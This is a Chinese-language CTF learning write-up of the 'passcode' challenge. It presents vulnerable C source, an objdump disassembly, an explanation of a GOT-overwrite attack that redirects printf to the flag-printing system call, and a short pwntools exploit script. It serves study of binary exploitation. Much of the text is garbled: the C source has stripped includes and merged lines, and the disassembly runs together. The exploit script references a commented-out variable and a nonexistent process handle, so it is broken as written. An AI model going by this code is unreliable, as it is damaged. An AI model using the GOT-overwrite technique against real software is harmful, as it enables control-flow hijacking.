pwn的学习5 passcode

第五题,passcode

还是3个文件,那就首先看C文件

#include 
#include void login(){int passcode1;int passcode2;printf("enter passcode1 : ");scanf("%d", passcode1);               //这里没有加取地址符号fflush(stdin);// ha! mommy told me that 32bit is vulnerable to bruteforcing :)printf("enter passcode2 : ");scanf("%d", passcode2);      //这里没有加取地址符号printf("checking...\n");if(passcode1==338150 && passcode2==13371337){printf("Login OK!\n");system("/bin/cat flag");}else{printf("Login Failed!\n");exit(0);}
}void welcome(){char name[100];printf("enter you name : ");scanf("%100s", name);printf("Welcome %s!\n", name);
}int main(){printf("Toddler's Secure Login System 1.0 beta.\n");welcome();login();     //这里连续调用了两个函数// something after login...printf("Now I can safely trust you that you have credential :)\n");return 0;    
}

首先来看整个过程,从main函数开始

第一步。。

 printf("Toddler's Secure Login System 1.0 beta.\n");

//就是输出一句废话

//然后第二

执行welcome函数

    char name[100];

    printf("enter you name : ");

    scanf("%100s", name);   //  注意,这里没有加上&符号,那么问题来了,输入的值会保存到哪里去?

    printf("Welcome %s!\n", name);

 

然后我开始从网上查,因为我不会啊2333

排名第一的blog师傅写的很厉害  URL :https://www.cnblogs.com/binlmmhc/p/6189514.html

那么我就首先按照这位师傅来做一下

也就是说,存在栈溢出保护和NX(数据执行保护)

同时,本题的关键点,在于welcome函数中,定义了一个100大小的数组

 

##welcome和login这两个函数是连续调用的,导致他们拥有相同的栈底##

使用 objdump -d password  ##表示对文件进行反汇编

passcode:     file format elf32-i386Disassembly of section .init:080483e0 <_init>:80483e0:       53                      push   %ebx80483e1:       83 ec 08                sub    $0x8,%esp80483e4:       e8 00 00 00 00          call   80483e9 <_init+0x9>80483e9:       5b                      pop    %ebx80483ea:       81 c3 0b 1c 00 00       add    $0x1c0b,%ebx80483f0:       8b 83 fc ff ff ff       mov    -0x4(%ebx),%eax80483f6:       85 c0                   test   %eax,%eax80483f8:       74 05                   je     80483ff <_init+0x1f>80483fa:       e8 71 00 00 00          call   8048470 <__gmon_start__@plt>80483ff:       e8 3c 01 00 00          call   8048540 8048404:       e8 17 03 00 00          call   8048720 <__do_global_ctors_aux>8048409:       83 c4 08                add    $0x8,%esp804840c:       5b                      pop    %ebx804840d:       c3                      retDisassembly of section .plt:08048410 :8048410:       ff 35 f8 9f 04 08       pushl  0x8049ff88048416:       ff 25 fc 9f 04 08       jmp    *0x8049ffc804841c:       00 00                   add    %al,(%eax)...08048420 :8048420:       ff 25 00 a0 04 08       jmp    *0x804a0008048426:       68 00 00 00 00          push   $0x0804842b:       e9 e0 ff ff ff          jmp    8048410 <_init+0x30>08048430 :8048430:       ff 25 04 a0 04 08       jmp    *0x804a0048048436:       68 08 00 00 00          push   $0x8804843b:       e9 d0 ff ff ff          jmp    8048410 <_init+0x30>08048440 <__stack_chk_fail@plt>:8048440:       ff 25 08 a0 04 08       jmp    *0x804a0088048446:       68 10 00 00 00          push   $0x10804844b:       e9 c0 ff ff ff          jmp    8048410 <_init+0x30>08048450 :8048450:       ff 25 0c a0 04 08       jmp    *0x804a00c8048456:       68 18 00 00 00          push   $0x18804845b:       e9 b0 ff ff ff          jmp    8048410 <_init+0x30>08048460 :8048460:       ff 25 10 a0 04 08       jmp    *0x804a0108048466:       68 20 00 00 00          push   $0x20804846b:       e9 a0 ff ff ff          jmp    8048410 <_init+0x30>08048470 <__gmon_start__@plt>:8048470:       ff 25 14 a0 04 08       jmp    *0x804a0148048476:       68 28 00 00 00          push   $0x28804847b:       e9 90 ff ff ff          jmp    8048410 <_init+0x30>08048480 :8048480:       ff 25 18 a0 04 08       jmp    *0x804a0188048486:       68 30 00 00 00          push   $0x30804848b:       e9 80 ff ff ff          jmp    8048410 <_init+0x30>08048490 <__libc_start_main@plt>:8048490:       ff 25 1c a0 04 08       jmp    *0x804a01c8048496:       68 38 00 00 00          push   $0x38804849b:       e9 70 ff ff ff          jmp    8048410 <_init+0x30>080484a0 <__isoc99_scanf@plt>:80484a0:       ff 25 20 a0 04 08       jmp    *0x804a02080484a6:       68 40 00 00 00          push   $0x4080484ab:       e9 60 ff ff ff          jmp    8048410 <_init+0x30>Disassembly of section .text:080484b0 <_start>:80484b0:       31 ed                   xor    %ebp,%ebp80484b2:       5e                      pop    %esi80484b3:       89 e1                   mov    %esp,%ecx80484b5:       83 e4 f0                and    $0xfffffff0,%esp80484b8:       50                      push   %eax80484b9:       54                      push   %esp80484ba:       52                      push   %edx80484bb:       68 10 87 04 08          push   $0x804871080484c0:       68 a0 86 04 08          push   $0x80486a080484c5:       51                      push   %ecx80484c6:       56                      push   %esi80484c7:       68 65 86 04 08          push   $0x804866580484cc:       e8 bf ff ff ff          call   8048490 <__libc_start_main@plt>80484d1:       f4                      hlt80484d2:       90                      nop80484d3:       90                      nop80484d4:       90                      nop80484d5:       90                      nop80484d6:       90                      nop80484d7:       90                      nop80484d8:       90                      nop80484d9:       90                      nop80484da:       90                      nop80484db:       90                      nop80484dc:       90                      nop80484dd:       90                      nop80484de:       90                      nop80484df:       90                      nop080484e0 <__do_global_dtors_aux>:80484e0:       55                      push   %ebp80484e1:       89 e5                   mov    %esp,%ebp80484e3:       53                      push   %ebx80484e4:       83 ec 04                sub    $0x4,%esp80484e7:       80 3d 30 a0 04 08 00    cmpb   $0x0,0x804a03080484ee:       75 3f                   jne    804852f <__do_global_dtors_aux+0x4f>80484f0:       a1 34 a0 04 08          mov    0x804a034,%eax80484f5:       bb 20 9f 04 08          mov    $0x8049f20,%ebx80484fa:       81 eb 1c 9f 04 08       sub    $0x8049f1c,%ebx8048500:       c1 fb 02                sar    $0x2,%ebx8048503:       83 eb 01                sub    $0x1,%ebx8048506:       39 d8                   cmp    %ebx,%eax8048508:       73 1e                   jae    8048528 <__do_global_dtors_aux+0x48>804850a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi8048510:       83 c0 01                add    $0x1,%eax8048513:       a3 34 a0 04 08          mov    %eax,0x804a0348048518:       ff 14 85 1c 9f 04 08    call   *0x8049f1c(,%eax,4)804851f:       a1 34 a0 04 08          mov    0x804a034,%eax8048524:       39 d8                   cmp    %ebx,%eax8048526:       72 e8                   jb     8048510 <__do_global_dtors_aux+0x30>8048528:       c6 05 30 a0 04 08 01    movb   $0x1,0x804a030804852f:       83 c4 04                add    $0x4,%esp8048532:       5b                      pop    %ebx8048533:       5d                      pop    %ebp8048534:       c3                      ret8048535:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi8048539:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi08048540 :8048540:       55                      push   %ebp8048541:       89 e5                   mov    %esp,%ebp8048543:       83 ec 18                sub    $0x18,%esp8048546:       a1 24 9f 04 08          mov    0x8049f24,%eax804854b:       85 c0                   test   %eax,%eax804854d:       74 12                   je     8048561 804854f:       b8 00 00 00 00          mov    $0x0,%eax8048554:       85 c0                   test   %eax,%eax8048556:       74 09                   je     8048561 8048558:       c7 04 24 24 9f 04 08    movl   $0x8049f24,(%esp)804855f:       ff d0                   call   *%eax8048561:       c9                      leave8048562:       c3                      ret8048563:       90                      nop08048564 :8048564:       55                      push   %ebp8048565:       89 e5                   mov    %esp,%ebp8048567:       83 ec 28                sub    $0x28,%esp804856a:       b8 70 87 04 08          mov    $0x8048770,%eax804856f:       89 04 24                mov    %eax,(%esp)8048572:       e8 a9 fe ff ff          call   8048420 8048577:       b8 83 87 04 08          mov    $0x8048783,%eax804857c:       8b 55 f0                mov    -0x10(%ebp),%edx804857f:       89 54 24 04             mov    %edx,0x4(%esp)8048583:       89 04 24                mov    %eax,(%esp)8048586:       e8 15 ff ff ff          call   80484a0 <__isoc99_scanf@plt>804858b:       a1 2c a0 04 08          mov    0x804a02c,%eax8048590:       89 04 24                mov    %eax,(%esp)8048593:       e8 98 fe ff ff          call   8048430 8048598:       b8 86 87 04 08          mov    $0x8048786,%eax804859d:       89 04 24                mov    %eax,(%esp)80485a0:       e8 7b fe ff ff          call   8048420 80485a5:       b8 83 87 04 08          mov    $0x8048783,%eax80485aa:       8b 55 f4                mov    -0xc(%ebp),%edx80485ad:       89 54 24 04             mov    %edx,0x4(%esp)80485b1:       89 04 24                mov    %eax,(%esp)80485b4:       e8 e7 fe ff ff          call   80484a0 <__isoc99_scanf@plt>80485b9:       c7 04 24 99 87 04 08    movl   $0x8048799,(%esp)80485c0:       e8 8b fe ff ff          call   8048450 80485c5:       81 7d f0 e6 28 05 00    cmpl   $0x528e6,-0x10(%ebp)80485cc:       75 23                   jne    80485f1 80485ce:       81 7d f4 c9 07 cc 00    cmpl   $0xcc07c9,-0xc(%ebp)80485d5:       75 1a                   jne    80485f1 80485d7:       c7 04 24 a5 87 04 08    movl   $0x80487a5,(%esp)80485de:       e8 6d fe ff ff          call   8048450 80485e3:       c7 04 24 af 87 04 08    movl   $0x80487af,(%esp)80485ea:       e8 71 fe ff ff          call   8048460 80485ef:       c9                      leave80485f0:       c3                      ret80485f1:       c7 04 24 bd 87 04 08    movl   $0x80487bd,(%esp)80485f8:       e8 53 fe ff ff          call   8048450 80485fd:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)8048604:       e8 77 fe ff ff          call   8048480 08048609 :8048609:       55                      push   %ebp804860a:       89 e5                   mov    %esp,%ebp804860c:       81 ec 88 00 00 00       sub    $0x88,%esp8048612:       65 a1 14 00 00 00       mov    %gs:0x14,%eax8048618:       89 45 f4                mov    %eax,-0xc(%ebp)804861b:       31 c0                   xor    %eax,%eax804861d:       b8 cb 87 04 08          mov    $0x80487cb,%eax8048622:       89 04 24                mov    %eax,(%esp)8048625:       e8 f6 fd ff ff          call   8048420 804862a:       b8 dd 87 04 08          mov    $0x80487dd,%eax804862f:       8d 55 90                lea    -0x70(%ebp),%edx8048632:       89 54 24 04             mov    %edx,0x4(%esp)8048636:       89 04 24                mov    %eax,(%esp)8048639:       e8 62 fe ff ff          call   80484a0 <__isoc99_scanf@plt>804863e:       b8 e3 87 04 08          mov    $0x80487e3,%eax8048643:       8d 55 90                lea    -0x70(%ebp),%edx8048646:       89 54 24 04             mov    %edx,0x4(%esp)804864a:       89 04 24                mov    %eax,(%esp)804864d:       e8 ce fd ff ff          call   8048420 8048652:       8b 45 f4                mov    -0xc(%ebp),%eax8048655:       65 33 05 14 00 00 00    xor    %gs:0x14,%eax804865c:       74 05                   je     8048663 804865e:       e8 dd fd ff ff          call   8048440 <__stack_chk_fail@plt>8048663:       c9                      leave8048664:       c3                      ret08048665 
:8048665: 55 push %ebp8048666: 89 e5 mov %esp,%ebp8048668: 83 e4 f0 and $0xfffffff0,%esp804866b: 83 ec 10 sub $0x10,%esp804866e: c7 04 24 f0 87 04 08 movl $0x80487f0,(%esp)8048675: e8 d6 fd ff ff call 8048450 804867a: e8 8a ff ff ff call 8048609 804867f: e8 e0 fe ff ff call 8048564 8048684: c7 04 24 18 88 04 08 movl $0x8048818,(%esp)804868b: e8 c0 fd ff ff call 8048450 8048690: b8 00 00 00 00 mov $0x0,%eax8048695: c9 leave8048696: c3 ret8048697: 90 nop8048698: 90 nop8048699: 90 nop804869a: 90 nop804869b: 90 nop804869c: 90 nop804869d: 90 nop804869e: 90 nop804869f: 90 nop080486a0 <__libc_csu_init>:80486a0: 55 push %ebp80486a1: 57 push %edi80486a2: 56 push %esi80486a3: 53 push %ebx80486a4: e8 69 00 00 00 call 8048712 <__i686.get_pc_thunk.bx>80486a9: 81 c3 4b 19 00 00 add $0x194b,%ebx80486af: 83 ec 1c sub $0x1c,%esp80486b2: 8b 6c 24 30 mov 0x30(%esp),%ebp80486b6: 8d bb 20 ff ff ff lea -0xe0(%ebx),%edi80486bc: e8 1f fd ff ff call 80483e0 <_init>80486c1: 8d 83 20 ff ff ff lea -0xe0(%ebx),%eax80486c7: 29 c7 sub %eax,%edi80486c9: c1 ff 02 sar $0x2,%edi80486cc: 85 ff test %edi,%edi80486ce: 74 29 je 80486f9 <__libc_csu_init+0x59>80486d0: 31 f6 xor %esi,%esi80486d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi80486d8: 8b 44 24 38 mov 0x38(%esp),%eax80486dc: 89 2c 24 mov %ebp,(%esp)80486df: 89 44 24 08 mov %eax,0x8(%esp)80486e3: 8b 44 24 34 mov 0x34(%esp),%eax80486e7: 89 44 24 04 mov %eax,0x4(%esp)80486eb: ff 94 b3 20 ff ff ff call *-0xe0(%ebx,%esi,4)80486f2: 83 c6 01 add $0x1,%esi80486f5: 39 fe cmp %edi,%esi80486f7: 75 df jne 80486d8 <__libc_csu_init+0x38>80486f9: 83 c4 1c add $0x1c,%esp80486fc: 5b pop %ebx80486fd: 5e pop %esi80486fe: 5f pop %edi80486ff: 5d pop %ebp8048700: c3 ret8048701: eb 0d jmp 8048710 <__libc_csu_fini>8048703: 90 nop8048704: 90 nop8048705: 90 nop8048706: 90 nop8048707: 90 nop8048708: 90 nop8048709: 90 nop804870a: 90 nop804870b: 90 nop804870c: 90 nop804870d: 90 nop804870e: 90 nop804870f: 90 nop08048710 <__libc_csu_fini>:8048710: f3 c3 repz ret08048712 <__i686.get_pc_thunk.bx>:8048712: 8b 1c 24 mov (%esp),%ebx8048715: c3 ret8048716: 90 nop8048717: 90 nop8048718: 90 nop8048719: 90 nop804871a: 90 nop804871b: 90 nop804871c: 90 nop804871d: 90 nop804871e: 90 nop804871f: 90 nop08048720 <__do_global_ctors_aux>:8048720: 55 push %ebp8048721: 89 e5 mov %esp,%ebp8048723: 53 push %ebx8048724: 83 ec 04 sub $0x4,%esp8048727: a1 14 9f 04 08 mov 0x8049f14,%eax804872c: 83 f8 ff cmp $0xffffffff,%eax804872f: 74 13 je 8048744 <__do_global_ctors_aux+0x24>8048731: bb 14 9f 04 08 mov $0x8049f14,%ebx8048736: 66 90 xchg %ax,%ax8048738: 83 eb 04 sub $0x4,%ebx804873b: ff d0 call *%eax804873d: 8b 03 mov (%ebx),%eax804873f: 83 f8 ff cmp $0xffffffff,%eax8048742: 75 f4 jne 8048738 <__do_global_ctors_aux+0x18>8048744: 83 c4 04 add $0x4,%esp8048747: 5b pop %ebx8048748: 5d pop %ebp8048749: c3 ret804874a: 90 nop804874b: 90 nopDisassembly of section .fini:0804874c <_fini>:804874c: 53 push %ebx804874d: 83 ec 08 sub $0x8,%esp8048750: e8 00 00 00 00 call 8048755 <_fini+0x9>8048755: 5b pop %ebx8048756: 81 c3 9f 18 00 00 add $0x189f,%ebx804875c: e8 7f fd ff ff call 80484e0 <__do_global_dtors_aux>8048761: 83 c4 08 add $0x8,%esp8048764: 5b pop %ebx8048765: c3 ret

首先 从  main函数开始看

08048665

:

 8048665:       55                      push   %ebp

 8048666:       89 e5                   mov    %esp,%ebp

 8048668:       83 e4 f0                and    $0xfffffff0,%esp

 804866b:       83 ec 10                sub    $0x10,%esp

 804866e:       c7 04 24 f0 87 04 08    movl   $0x80487f0,(%esp)

 8048675:       e8 d6 fd ff ff          call   8048450

 804867a:       e8 8a ff ff ff          call   8048609

 804867f:       e8 e0 fe ff ff          call   8048564

 8048684:       c7 04 24 18 88 04 08    movl   $0x8048818,(%esp)

 804868b:       e8 c0 fd ff ff          call   8048450

 8048690:       b8 00 00 00 00          mov    $0x0,%eax

 8048695:       c9                      leave

 8048696:       c3                      ret

 8048697:       90                      nop

 8048698:       90                      nop

 8048699:       90                      nop

 804869a:       90                      nop

 804869b:       90                      nop

 804869c:       90                      nop

 804869d:       90                      nop

 804869e:       90                      nop

 804869f:       90                      nop

师傅的意思是因为在main函数里调用的welcome和login两个函数,所以两个函数返回的的栈底应该相同,

而name是在welcome函数中申请的,输入的地址是在ebp-0x70 (看代码,输入就在printf下面)0X70=7*16=112

而passcode1

804857c:    8b 55 f0                 mov    -0x10(%ebp),%edx       //看到这里是passcode1的内容作为参数传递给scanf

 

Passcode1的地址在ebp-0x10, 0x10 == 1*16=16

然后name和passcode1相减 ,距离=0x60 =6*16=96

然后。。我看不懂他写的啥了。。

程序开启了栈溢出保护,所以我们不能再继续增加name的输入来改变passcode2的值

###意思是因为开启了站溢出机制,所以不能够通过输入超过100个来进行溢出覆盖

从大牛的WP知道,这里我们要使用的是一种GOT表复写的技术,GOT表就是一个函数指针数组(具体搜索),我们看到程序在我们输入之后会调用pritnf函数,

所以我们可以将passcode1的值改为printf的地址,然后接下来会通过scanf将上面的关键系统命令的地址写进去,改变整个程序的执行过程,当程序调用

printf函数的时候,由于它的地址已经被改变了,所以会跳到关键系统命令的地方去。

###意思是我们在passcode1输入之后,会进行一次printf,。我们要做的就是将password1

###的值,变为printf函数的位置,然后在下一次的scanf,变为执行系统命令的地址,printf

##的got地址,然后将它的地址改为 0x080485ea这个关键的地方进行输出

80485e3:    c7 04 24 af 87 04 08     movl   $0x80487af,(%esp)

80485ea:    e8 71 fe ff ff           call   8048460

 

使用指令  objdump -R passcode

 

0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0          //printf的地址

 

然后。就可以开始使用python了

python代码为

from pwn import *
tar=process('./passcode')
printa=0x0804a000  #print函数的地址
#sysa=134514154      #80485ea:    e8 71 fe ff ff           call   8048460  跳到#这里
shellcode='a'*96+p32(printa)+'\n'+str(sysa)+'\n'  #
#name的地址是ebp-0x70,passcode的地址是ebp-0x10,也就说地址之间相差  0x60=96,并且passcode在#name上面
#所以需要  'a' *96  个来填充   也就是来到了passcode1的地址,并且让 passcode1的值等于 print函数的#位置
#因为这个时候来到了print函数位置,下一个调用对象是scanf,所以 再次输入,到达调用sys 的位置
a.send(shellcode)
a.recvline()
a.recvline()
a.recvline()
a.recvline()

 


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